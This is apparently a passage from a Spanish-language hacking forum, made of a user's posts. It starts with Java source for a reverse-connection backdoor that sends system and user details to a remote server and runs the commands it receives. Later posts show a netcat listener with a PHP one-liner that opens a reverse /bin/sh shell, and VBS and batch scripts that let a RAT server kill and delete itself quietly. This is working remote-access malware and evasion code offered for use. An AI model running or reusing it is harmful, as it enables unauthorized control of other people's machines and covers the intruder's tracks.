                    for(int i=0;i<p.size();i++){
                        synchronized (p.get(i)) {

                            //System.out.println("Soy 2 desperte a uno");
                            p.get(i).notify();

                            //System.out.println("Soy 2 y continua uno");
                        }
                    }

                    //p.remove(p.get(0));
                    //p.remove(p.get(1));

                    //System.out.println("hashcode -> "+p.get(0).hashCode() );
                    //System.out.println("hashcode -> "+p.get(1).hashCode() );

                } catch (IOException ex) {
                    ex.printStackTrace();
                }
            }
        }
        /**

         */

    }
    class primera extends Thread {
        private Socket conexion3;
        boolean debugging=true;
        primera(Socket socket){
            conexion3 = socket;
            if(debugging)
                System.out.println("Me llamo "+getName());
        }

        public void run() {
            synchronized (conexion3) {

                if(debugging)
                    System.out.println("uno me voy a dormir");

                try {
                    conexion3.wait();

                } catch (InterruptedException ex) {

                    System.out.println(ex);
                }

                if(debugging)
                    System.out.println("uno me desperte");

                if(ConexionInversaServidor.Mode == 1){
                    if(debugging)
                        System.out.println(ConexionInversaServidor.p.get(0).hashCode());

                    ConexionInversaServidor.p.remove(ConexionInversaServidor.p.get(0));

                    if(debugging)
                        System.out.println("Tamaño reducido: "+ConexionInversaServidor.p.size()+"\n");

                }
            }
        }
    }

    class Teclado extends Thread
    {
        private BufferedReader br = null;
        private String sTexto = "";
        private int contador=0;

        public void run(){
            boolean t=true;
            while(t){
                try{
                    System.out.println("nombre:"+getName());
                    try {
                        this.sleep(300);
                    } catch (InterruptedException exa) {
                        System.out.println(exa);
                    }
                    System.out.println("Teclee Comandos:");
                    br = new BufferedReader(new InputStreamReader(System.in));

                    System.out.printf("\tComando: %s \n",sTexto = br.readLine());

                    if(sTexto=="fin"){
                        t=false;
                        System.exit(-1);
                    }
                    ConexionInversaServidor.envioTextoTeclado0(sTexto);

                } catch (IOException ex) {
                    System.out.println(ex);
                }
            }

        }
    }
    class ConexionInversaCliente extends Thread {
        private Socket conexion4;
        private static Thread hebraServidor4;

        private Random rnd = new Random();
        private int HASH;
        private int contador;
        private String osName = System.getProperty ( "os.name" );
        private String Arch = System.getProperty ( "os.arch" );
        private String Version = System.getProperty ( "os.version" );

        private String SP = System.getProperty ( "sun.os.patch.level" );
        private String Country = System.getProperty ( "user.country" );
        private String dirUserHome = System.getProperty ( "user.home" );
        private String Lang = System.getProperty ( "user.language" );
        private String userName = System.getProperty ( "user.name" );
        private String VersionJV = System.getProperty ( "java.vm.version" );

        private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV};

        ConexionInversaCliente(){
            HASH = (rnd.nextInt() * 10000);
            contador=0;
        }

        public void run() {
            String ip = JCat.IP;
            int puerto = JCat.Port;
            try {
                System.out.println("\n*---------------------------------*");
                System.out.println("*       Conexión I. CLIENTE       *");
                System.out.println("*---------------------------------*");
                while (true) {

                conexion4 = new Socket(ip, puerto);

                try {
                    DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
                   
                    DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());

                    salida.writeInt(HASH);

                    if(contador==0){
                    contador++;
                    for(int i=0;i<arrayDatos.length;i++)
                    if(arrayDatos[i]==null)
                    arrayDatos[i]="null";
                    salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
                    + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
                    + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8]);
                    }
                   
                    System.out.println("\nConexion realizada...");
                    System.out.println("\nEscriba en el Servidor...");
                    System.out.println("Mi Identificador: "+HASH);

                    String comando = entrada.readUTF();

                    System.out.println("Comando del Cliente: " + comando);
                    new Ejecutor().executeCommand(comando, false, conexion4);
                    try {
                        this.sleep(2000);
                    } catch (InterruptedException exa) {
                        System.out.println(exa);
                    }
                } catch (IOException ex) {
                    System.out.println(ex.getMessage());
                }

                }
            } catch (IOException ex) {
                System.out.println("Mensaje de Error! -> "+ex.getMessage());
                if(ex.getMessage().equals("Can't assign requested address")){
                    System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
                    try {
                        this.sleep(3000);
                    } catch (InterruptedException exa) {
                        System.out.println(exa);
                    }

                    ConexionInversaCliente a = new ConexionInversaCliente();
                    a.start();
                }
                if(ex.getMessage().equals("Connection refused")){

                    System.out.println("No encontrado servidor a la escucha\n");
                }
            }

        }
    }

    class Ejecutor{
        private String commandShell;
        private Socket conexion3;
        public void executeCommand(String command, boolean flagbackground, Socket socket)  {

            commandShell = null;
            conexion3 = socket;
            try {
                DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());

                String osName = System.getProperty("os.name");

                if (osName.equals("Windows NT")) {
                    commandShell = "cmd.exe /C " + command;
                } else if (osName.equals("Windows 95") || osName.equals("Windows 98")) {
                    commandShell = "start " + command;
                } else {

                    if (flagbackground) {
                        commandShell = "" + command + " &";
                    } else {
                        commandShell = "" + command;
                    }
                }

                try {
                    Process proc = Runtime.getRuntime().exec(commandShell);
                    BufferedReader brStdOut = new BufferedReader(new InputStreamReader(proc.getInputStream()));
                    BufferedReader brStdErr = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
                    String str;String strTodo= "";
                    while ((str = brStdOut.readLine()) != null) {

                        strTodo+=str+"\n"; 
                    }

                    salida.writeUTF("\tResponse: "+strTodo);
                    brStdOut.close();
                    brStdErr.close();
                } catch (IOException eproc) {
                    System.out.println("Comando desconocido ");
                    salida.writeUTF("\tResponse: Comando desconocido\n");

                }
            } catch (IOException ex) {

                System.out.println(ex.getMessage());
            }

        }
    }



    Fuente: code-disaster.blogspot.com
    #18
    PHP / duda PHP
    4 Julio 2012, 23:22 PM
    Hola foro tengo una duda

    si pongo netcat a la escucha en el puerto 5000:
    Código (bash) [Seleccionar]
    netcat -l -p 5000 -vv

    y en otra terminal ejecuto esto:
    Código (php) [Seleccionar]
    php -r '$sock=fsockopen("127.0.0.1",5000);exec("/bin/sh -i <&3 >&3 2>&3");'

    me devuelve una shell, Todo correcto ahora si creo una archivo.php y hago esto:
    //NO ME FUNCIONA, No devuelve la shell
    Código (php) [Seleccionar]

            <?php
           
           $ultima_linea 
    system("php -r '\$sock=fsockopen(\"127.0.0.1\",5000);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",$retval);
            
    ?>
           


    o esto:
           
            //NO ME FUNCIONA, No devuelve la shell, Péeero si conecta....
           
    Código (php) [Seleccionar]
    <?php
            $sock
    =fsockopen(127.0.0.15000);
            
    exec("/bin/sh -i <&3 >&3 2>&3");
            
    ?>
    #19
    Scripting / [MOD] duda sobre vbs
    23 Septiembre 2010, 02:22 AM
    Hola creo que este es el apartado del foro sobre preguntas de programacion si no disculpen bueno al caso resulta que estaba buscando una forma de que cuando le ordenase a mi cliente RAT que se desistalase el server pues eso que se borre pero claro primero se tiene que cerrar el proceso y esto me esta dando vueltas y vueltas. Pensé en una forma pero no se si se podra no soy muy experto en VB6 y bueno pensé en si se podría añadir al SRC del server un archivo .vbs exactamente este y bueno lo de ya que se copiase en un ruta TEMP?

    Option Explicit
    On Error Resume Next
    Dim WshShell, objEnv
    dim variable
    dim prog
    Set WshShell = CreateObject("WScript.Shell")
    Set objEnv = WshShell.Environment("Process")
    Set variable = CreateObject("Scripting.FileSystemObject")
    Set WScript = CreateObject("WScript.Shell")         
    Set prog = WshShell.exec("cmd /c taskkill /F /IM server.exe")
    WScript.Sleep 2000
    variable.DeleteFile objEnv("TEMP") & "\Batch.bat"
    variable.DeleteFile objEnv("TEMP") & "\server.exe"
    variable.DeleteFile objEnv("TEMP") & "\xxx.vbs"


    este code funciona de perla luego hize otro en batch


    @echo off
    taskkill /f /im server.exe
    FOR /l %%a IN (%1,-1,1) do (ECHO 1 >NULL %%as&ping -n 5 -w 1 127.0.0.1>NUL)
    del /Q /F %temp%\server.exe
    del /Q /F %temp%\Batch.bat
    del /Q /F %temp%\xxx.bat


    pero igual en los 2 casos aparece momentaneamente una pantalla de msdos y bueno seguro que hay otras formas de desistalar el server sin una fea imagen de msdos

    Salu2! y gracias de antemano